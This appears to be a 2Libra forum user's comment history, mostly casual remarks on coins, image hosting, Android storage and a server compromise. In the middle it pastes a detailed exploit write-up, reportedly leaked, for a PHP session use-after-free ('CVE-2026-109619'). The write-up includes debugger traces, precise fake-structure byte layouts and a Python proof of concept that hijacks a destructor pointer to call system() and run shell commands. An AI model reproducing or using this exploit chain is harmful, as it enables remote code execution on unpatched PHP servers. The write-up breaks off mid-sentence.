271

cnskis

Guardian
前排打手
按时?
卡皮巴拉
2Libra 一周年!
混沌
谁还不是宝宝呢!?
部落格
正义使者
捣蛋鬼
2Libra 赞助者
马上来
夜猫
等级丰碑
观点不错
守护者
寻找平衡
都听我说!
讲故事的人
种子用户
2 关注16 被关注
1262 号用户
Lv.11
加入时间:2025-10-23

之前有个对标的,叫 postwoman,现在改名了。
https://github.com/hoppscotch/hoppscotch

@Jimmy 我们是正规娱乐平台,要是可以提现,那不就是赌博了吗.jpg doge 国家规定只能单向流动 🤣

直接扣金币给我,然后我提供刮刮乐doge

https://2libra.com/post/website-construction/eFT3wx3
金币变动能不能指定账户,从用户 A 指定到用户 B doge 我要用赛博刮刮乐收割

你不知道而已, @Jimmy

你没好好看文章,一个 index 是代码写的有问题,一个 index 是被劫持。

@Jimmy 图床的 oauth 密钥麻烦重置一下。

@Jimmy 我自己不能改自己帖子的访问限制,帮忙改成登录可见。

查不清楚最好直接重装,很多 rootkit 很难根除。

我一直比较头铁,经常部署下载的源码,这次大概就是以前部署的 PHP 源码的问题,因为我本身对 PHP 就不熟,这次算是大翻车了。
上周还在跟朋友看最近的大规模挂马事件,转头就自己遇到,是福也是祸,好处是可以看看它们的手段和木马特征,坏处就是要好好查查服务器了,还好我几个业务是分开的,这个服务器都是不怎么重要的服务。而且我全部都是白名单,webshell 目前就靠云厂商告警。

PHPExcel_1.7.9_doc

目前看不是的,历史遗留问题导致的。

已翻车,正在应急。

@Jimmy 看你发的帖子,才知道还有这种免费的好东西,但是跨境的话,我不是很能接受,因为要做请求重试,还有延迟问题,所以我自己还是用这一套爬虫的。

前端抓数据好像不能跨域,提供给用户又不要上传数据,确实有点麻烦,这个只是提供给大家一种自己开发小工具要嵌入天气数据的时候的获取方法,你的场景不太符合需求。

cunning 爬虫可不保证稳定(但是我用了几年了都没问题,学生时代一块钱掰成两半花,买 API 不如爬数据)

正文链接已处理,不会识别到后面了。

只是时间不对的话打开网页就会报错,时间不一致,直接同步就好了,这个是默认配置丢失,麻烦一点。

评论帖子出昨天下午开的88VIP

夸克以前才 2,现在都能卖 10 了,我续费也卖了得了。

评论帖子谁有好的解决办法?

根据社区规则:交流:禁止直接发布和评论 AI 生成的文本内容;
https://2libra.com/help/rule
@Jimmy 处理一下。

我也是第一次遇到,以前时间不对 SSL 会报错,直接打开同步就好了。这次 SSL 不报错,更新不了才查了一下。

有些配置真不好在网上搜,尤其是 Windows 的一些问题,网上都是内容农场的垃圾内容。AI 辅助解决会效率高很多。

评论帖子网页电台分享RoamDial

人总是喜欢在失去某些东西的时候再去回味,以前只有收音机(以前部分安卓机还有 FM)的时候没多少人用,现在把收音机搬到网上听,我不是很能理解,因为我有时候有兴趣了就拿实体收音机或者对讲机的收音机功能搜搜,网络的没兴趣,感觉没灵魂。😐

因为权限管理越来越严,很多 APP 只能把数据放在/sdcard/Android/data/应用包名/下面,还有 download 里面,有时候应用没申请权限或者没同意,只能放应用目录,你用一些软件就看不到。导出可以用 es、mt 的局域网 FTP 之类的,有线中断的情况我遇到过,不过不常见。

我会连续问她一些问题,她只用回答是或者不是
这是教育几岁小孩的方法,小孩思维跳跃,有时间就瞎说,尤其是写作业和犯错的时候。这个用在同龄人和父母身上不合适。

评论帖子输入框bug

我好像知道为什么了,内容太长,没有提示,直接就不让输入了,建议改为超出后下面写上字数,和红色的提醒,比如:内容过长,1200/1000,我测了几遍才知道是超过了内容,再打字的时候强制不让输入。😐

三、CVE-2026-109619:未复位会话全局 + 跨请求 pDestructor 劫持

漏洞描述

请求 A 在 pre-RINIT 阶段处理 multipart 上传进度时,MULTIPART_EVENT_FILE_START 分支调用 php_rinit_session(0)(session.c:3264)临时补齐会话状态,其 php_rinit_session_globals()(session.c:111-127)只重置 PS(id)、PS(mod_data)、PS(session_vars)、PS(http_session_vars),PS(mod) 与 PS(serializer) 不在重置范围。随后 php_session_initialize() → php_session_track_init()(session.c:253-269)建立 PS(http_session_vars) 引用:

复制
zend_delete_global_variable("_SESSION");
if (!Z_ISUNDEF(PS(http_session_vars))) zval_ptr_dtor(&PS(http_session_vars)); /* 261 */
array_init(&session_vars);
ZVAL_NEW_REF(&PS(http_session_vars), &session_vars); /* 265 */
Z_ADDREF_P(&PS(http_session_vars)); /* 266 */
zend_hash_update_ind(&EG(symbol_table), "_SESSION", &PS(http_session_vars)); /* 267 */

A 在读取 24 MiB 普通字段值时 erealloc 触顶 memory_limit=16M,_zend_bailout()。因 PG(modules_activated)=0,RSHUTDOWN 被跳过,php_rshutdown_session_globals()(session.c:158-190,含 PS(http_session_vars) 的 zval_ptr_dtor + ZVAL_UNDEF)从未执行,该 zend_reference 悬空。

请求 B 不带文件字段,php_rinit_session(0) 不跑,pre-RINIT 逻辑读到 A 遗留的悬空值。B 的 MULTIPART_EVENT_END 默认 cleanup=On 走 php_session_rfc1867_cleanup()(session.c:3166-3176)→ php_session_initialize() → php_session_track_init():

复制
if (!Z_ISUNDEF(PS(http_session_vars))) {
    zval_ptr_dtor(&PS(http_session_vars)); /* session.c:261,此时该地址已是攻击者字节 */
}

Z_ISUNDEF 为假,析构必然执行,消费攻击者控制的伪造引用。两者缺一不可:PS(mod) 为空则 php_session_initialize() 入口即返回;PS(http_session_vars) 被正确 UNDEF 则 track_init 的析构跳过。

关键 gdb 信息

请求 A 建立引用后 OOM:

复制
SESS_INIT ti=0x0 r0=(nil) chunkoff=0x0
BAILOUT
#5 zend_mm_safe_error at Zend/zend_alloc.c:407
#4 zend_mm_alloc_huge at Zend/zend_alloc.c:1942
#2 zend_mm_realloc_slow
#1 multipart_buffer_read_body at main/rfc1867.c:632

ti=0x0 说明 A 进入时 http_session_vars 是 UNDEF,析构跳过,随后新建引用,无任何人回收。

请求 B 触发析构的完整链:

复制
SESS_INIT ti=0x30a r0=0x7ffff3c7b6c0 chunkoff=0x7b6c0
  fake_refgc=0xa00000001 fake_valptr=0x7ffff3c7c018 fake_valti=0x307
REF_DESTROY entry rdi=0x7ffff3c7b6c0 rsi=(nil)
  0x7ffff3c7b6c0: 0x0000000a00000000 0x00007ffff3c7c018
  0x7ffff3c7b6d0: 0x0000000000000307 0x4141414141414141
ARRAY_DESTROY ht=0x7ffff3c7c018 rc=0 flags=0x10 nUsed=1 nOf=1 pDtor=0x555555b3a900 arData=0x7ffff3c7c058
HT_DESTROY ht=0x7ffff3c7c018 flags=0x10 nUsed=1 nOf=1 pDtor=0x555555b3a900 arData=0x7ffff3c7c058
ZIF_SYSTEM ed=0x7ffff3c7c058 num_args=1
  0x7ffff3c7c0a8: 0x00007ffff3c7c118 0x4141414100000006
PHP_EXEC type=1 cmd=id>/tmp/php2shell_rce_proof;…;echo RCE_OK>>… array=(nil) retval=0x1
Program received signal SIGSEGV
169 RETVAL_STRINGL(buf, bufl);

栈帧:

复制
#5 i_zval_ptr_dtor (zval_ptr=0x7ffff3c7b6c8) zend_variables.h:45
#6 zend_reference_destroy (ref=0x7ffff3c7b6c0) zend_variables.c:74
#7 php_session_track_init () session.c:261
#8 php_session_initialize () session.c:479
#9 php_session_rfc1867_cleanup (progress=…) session.c:3154
#10 php_session_rfc1867_callback (…) session.c:3317
#11 rfc1867_post_handler (…) main/rfc1867.c:1273

pDtor=0x555555b3a900 = PIE 基址 0x555555400000 + 0x73a900(zif_system 偏移);r0 的 chunk 偏移 0x7b6c0 与 A 阶段一致;REF_DESTROY 入参 refcount 已为 0(GC_DELREF 由调用方做)。

前置条件

  1. 同 worker:仅 php -S 单进程验证,FPM/pre-fork 未测。

  2. 请求 A 必须带文件字段:只给 PHPSESSID 与 PHP_SESSION_UPLOAD_PROGRESS 不触发 FILE_START,http_session_vars 始终 UNDEF,链断在起点。

  3. A 的 OOM 必须落在 FILE_START 之后(引用已建立):实测为读取末尾 24 MiB 普通字段值时 multipart_buffer_read_body 的 erealloc;16 MiB 限额配 24 MiB 字段是成功组合。

  4. session.upload_progress.enabled=On(默认):置 0 则无 php_session_initialize,链从第二步断。

  5. B 布局常量(8.5.2 build,gdb 实测):

    量值说明
    OFF_R00x7b6c0悬空zend_reference 在 chunk 内偏移
    OFF_BIG_DATA0x7a018B 的big 值数据起点
    VAL_REF0x16a8目标在值内偏移(OFF_R0 - OFF_BIG_DATA)
    VAL_HT0x2000伪造 HashTable
    VAL_ED0x2040伪造 execute_data / arData
    VAL_CMD0x2100伪造 zend_string + 命令
    VAL_LEN60000覆盖到0x2100+0x18+len
  6. 主 chunk 跨请求复用:zend_mm_shutdown()(full=false 分支)只收 main_chunk 之外的块,主 chunk 与进程同寿命,B 可在同一地址重写。

  7. 伪造结构布局(vbase = chunk + 0x7a018):

    zend_reference(+0x16a8,24 字节;sources 落在 'A' 上):

    偏移字节含义
    +0x0001 00 00 00gc.refcount = 1(必须写 1,写 0 则 GC_DELREF 下溢,rc_dtor_func 不触发)
    +0x040a 00 00 00gc.type_info = IS_REFERENCE
    +0x08HT 绝对地址val.value.ptr
    +0x1007 03 00 00val.u1.type_info = 0x307(`IS_ARRAY
    +0x1400 00 00 00val.u2

    HashTable(+0x2000,0x40 字节):

    偏移值字段
    +0x0001 00 00 00gc.refcount = 1
    +0x0407 03 00 00gc.type_info = 0x307
    +0x0810 00 00 00flags = HASH_FLAG_STATIC_KEYS
    +0x0cf8 ff ff ffnTableMask = -8
    +0x10ED 绝对地址arData
    +0x1801 00 00 00nNumUsed = 1
    +0x1c01 00 00 00nNumOfElements = 1
    +0x2008 00 00 00nTableSize = 8
    +0x30zif_system 绝对地址pDestructor

    HT_IS_WITHOUT_HOLES(1==1)与 HT_HAS_STATIC_KEYS_ONLY(0x10 & 0x14)命中紧凑循环,每 bucket 直接 pDestructor(&p->val)(zend_hash.c:1769),不读 p->key。

    zend_execute_data(+0x2040,与 arData/Bucket 重叠):

    偏移值作用
    +0x2c01 00 00 00This.u2.num_args = 1
    +0x50cmdstr 绝对地址ZEND_CALL_ARG(ed,1).value.ptr
    +0x5806 00 00 00arg1type_info = IS_STRING

    重叠成立是因为 Bucket.val 在 +0x00,zend_hash_destroy 传给析构器的是 &p->val,RDI 天然等于 arData = execute_data,无需跳板。ARG(1) 在 +0x50 是因为 ZEND_CALL_FRAME_SLOT = ceil(0x50/0x10) = 5。

    zend_string(+0x2100):

    偏移值字段
    +0x0001 00 00 00gc.refcount = 1
    +0x0406 00 00 00gc.type_info = IS_STRING
    +0x080h
    +0x10lenlen
    +0x18命令字节 + 0val

    命令不能含 NUL(Z_PARAM_PATH_STR 拒绝)。

  8. 两个绝对地址:Zend MM chunk 基址(三个自指针需绝对值,伪造块在 chunk 内相对位置固定)、PIE 基址(pDestructor = 基址 + 0x73a900)。实验通过 /proc/<pid>/maps 的 [anon:zend_alloc] 段与 /php 映射获取。

  9. 命令执行后进程崩溃:pDestructor(&p->val) 只设 RDI,RSI 残留 0x1 作为 return_value;php_exec 中 VCWD_POPEN 先跑完命令,RETVAL_STRINGL 往 0x1 写时 SIGSEGV。一个 worker 一条命令。

POC(scripts/lab_sink2_rce.py)

请求 A:

复制
def arm_a(boundary):
    parts = [(b"PHPSESSID", b"a"*19), (b"PHP_SESSION_UPLOAD_PROGRESS", b"p"*3)]
    for i in range(107):
        parts.append((("p%06d" % i).encode(), b"V")) # 107 个填充字段
    parts.append((b"f", b"A"*64, b"a.txt")) # 文件字段,触发 FILE_START
    parts.append((b"big", b"B"*(24*1024*1024))) # 24 MiB,触发 OOM
    return multipart(parts, boundary)

请求 B:

复制
def arm_b(boundary, chunk, zif_system, cmd, fake_off=0):
    vbase = chunk + OFF_BIG_DATA
    ht, ed, cmdstr = vbase+VAL_HT, vbase+VAL_ED, vbase+VAL_CMD
    v = bytearray(b"A"*VAL_LEN)
    v[VAL_REF:VAL_REF+24] = struct.pack("<IIQII", 1, 10, ht, 0x307, 0) # fake zend_reference
    v[VAL_HT+0x00:...] = struct.pack("<II", 1, 0x307)
    v[VAL_HT+0x08:...] = struct.pack("<II", 0x10, 0xFFFFFFF8)
    v[VAL_HT+0x10:...] = struct.pack("<Q", ed)
    v[VAL_HT+0x18:...] = struct.pack("<IIII", 1, 1, 8, 0)
    v[VAL_HT+0x30:...] = struct.pack("<Q", zif_system) # pDestructor
    v[VAL_ED+0x2C:...] = struct.pack("<I", 1) # num_args
    v[VAL_ED+0x50:...] = struct.pack("<QI", cmdstr, 6) # arg1
    v[VAL_CMD+0x00:...] = struct.pack("<IIQQ", 1, 6, 0, len(cmd))
    v[VAL_CMD+0x18:...] = cmd + b"\x00"
    return multipart([(b"PHPSESSID", b"a"*19),
                      (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
                      (b"big", bytes(v))], boundary)

运行结果(十个独立进程,PIE 与 chunk 基址每次不同):

次数chunk 基址PIE 基址
10x7815be2000000x557432000000
20x7d22568000000x650e5f400000
30x7edd43e000000x61ee74600000
40x7de6006000000x568908800000
50x71df4e4000000x561e61000000
6–9各不相同各不相同
10打包脚本直接运行运行时解析

每次均拿到 uid=1000(whl) 与 RCE_OK,均打印 chunk after A: <base> (same=True)。

阴性对照:伪造结构整体平移 8 字节与 16 字节,其余字节、地址、请求不变,服务端只返回 200,无副作用文件,进程不崩溃。原因是目标地址不再是 refcount=1 + type_info=0x0a,i_zval_ptr_dtor 进不了析构链,证明成功来自精确布局。


四、两者的关系与边界

复制
                    php_request_startup()
                             │
        PG(modules_activated)=0 (main.c:1900)
                             │
        ┌────────────────────┴────────────────────┐
        │ php_hash_environment() main.c:1942 │
        │ └─ rfc1867_post_handler │
        │ ├─ FILE_START → track_init │
        │ └─ FILE_END 后登记 $_FILES → OOM │ 109618 的入口
        └────────────────────┬────────────────────┘
                             │ longjmp
                  php_request_shutdown()
                     ├─ [门控] 1/5/7 ← 跳过 ⇒ 109619 的成因
                     └─ [无门控] 2/8/9/15 ← 109618 的消费面
                             │
                     下一次请求:pre-RINIT 访问悬空全局 ⇒ 109619 的消费
  • 109618:同一请求内,退出阶段仍在消费半初始化对象;问题在不该此时 longjmp。
  • 109619:跨请求,进入阶段消费了本该被回收的全局;问题在不该让 pre-RINIT 逻辑依赖只有 RSHUTDOWN 才清理的状态。

易含混处:OOM 本身不是 109619 的特征,只是入口;「跳过 RSHUTDOWN」也不是 109618 的性质;8.5.12 同版本带两个方向修复,不代表两个 CVE 是同一问题。

8.5.12 修复方向:

  • php_basic_early_rinit()(basic_functions.c:492,在 sapi_activate() 前调用)提前复位 BG(serialize)/BG(unserialize),堵 109619。
  • 延迟 OOM(ZEND_HAS_OOM()/zend_handle_delayed_oom(),zend_execute.c:4294-4295)使 zend_mm_check_limit() 非 fallible 堆下即使超软限额也返回 SUCCESS(zend_alloc.c:555),`

@cornradio 官方推荐升级版本,如果无法升级,临时缓解措施就是修改配置。

疑似 AI 内容,请勿直接发布 AI 内容,解决方案已经在置顶评论中的官方说明内,最好升级,缓解措施在官方说明中已有。

评论帖子PHP 高危漏洞

PHP 核心 RCE 漏洞(CVE-2026-109618/109619)泄露
https://2libra.com/post/network-security/HNiKOdX

@John 租用卡、纪念卡、销售卡、(中小学生卡和老年卡等不讨论)。
租用卡:押金 15 元。旧版每月扣 0.4 元押金,退卡时没扣完就退押金,扣完不退,新版退卡时押金全额退。故障转移余额换卡价格分情况。
纪念卡:各种联名之类的,价格不固定,一般 30 元起。故障转移余额换卡价格分情况。
销售卡:各种线下票亭、自助机、客服点购买,无法退卡,工本费 15 元。故障转移余额免费送卡。

@John 办卡也有线上,充值是一直可以线上的,注销只有几个客服点。

@lens 不需要注册,直接使用 2Libra OAuth 登录。

https://pic.mxpy.cn
境内图床,支持 2Libra 账号登录。

评论帖子修改帖子受到长度限制

把代码放进代码块里面。

评论帖子修改帖子受到长度限制

@Jimmy 对,说错了,是金币变动里面的。

评论帖子修改帖子受到长度限制

image
消息中心的超链接没有锚点吗?

由于硬件还是太老旧了
这就别装面板了,1panel 全是容器,又不是新手,直接用命令装。

PDD 百亿补贴买果子默认保真不保新。

个人用用还行,市面上几年前就有商业化的融媒体运营平台了,相当于聚合发布,添加账号后一键发布所有平台。

@Sunyin 如果不是自己开发,用那些现成的工具,是可以直接接入的。
image

还可以,看你说的什么场景,我是自己写东西,它现在接入 AGENT 都很方便了。

有帮助就好,具体的场景还是要具体分析。

评论帖子发图片疑问???

要方便可以用油猴和 Pro,要速度(境内)可以用 https://pic.mxpy.cn

他的意思应该是 P2P

以前农村为了省油会这么干(主要是老司机和非小汽车)

你不是农村的吧,没经历陡坡,下坡降档,用发动机来减速,防止长时间刹车导致过热和滑行速度过快无法控制的情况。

第三方 PE 很多都会捆绑,主要是别用它们自己的一键安装工具,你用干净的 ISO 或者 GHO 用 winNT 和 ghost 安装是没问题的。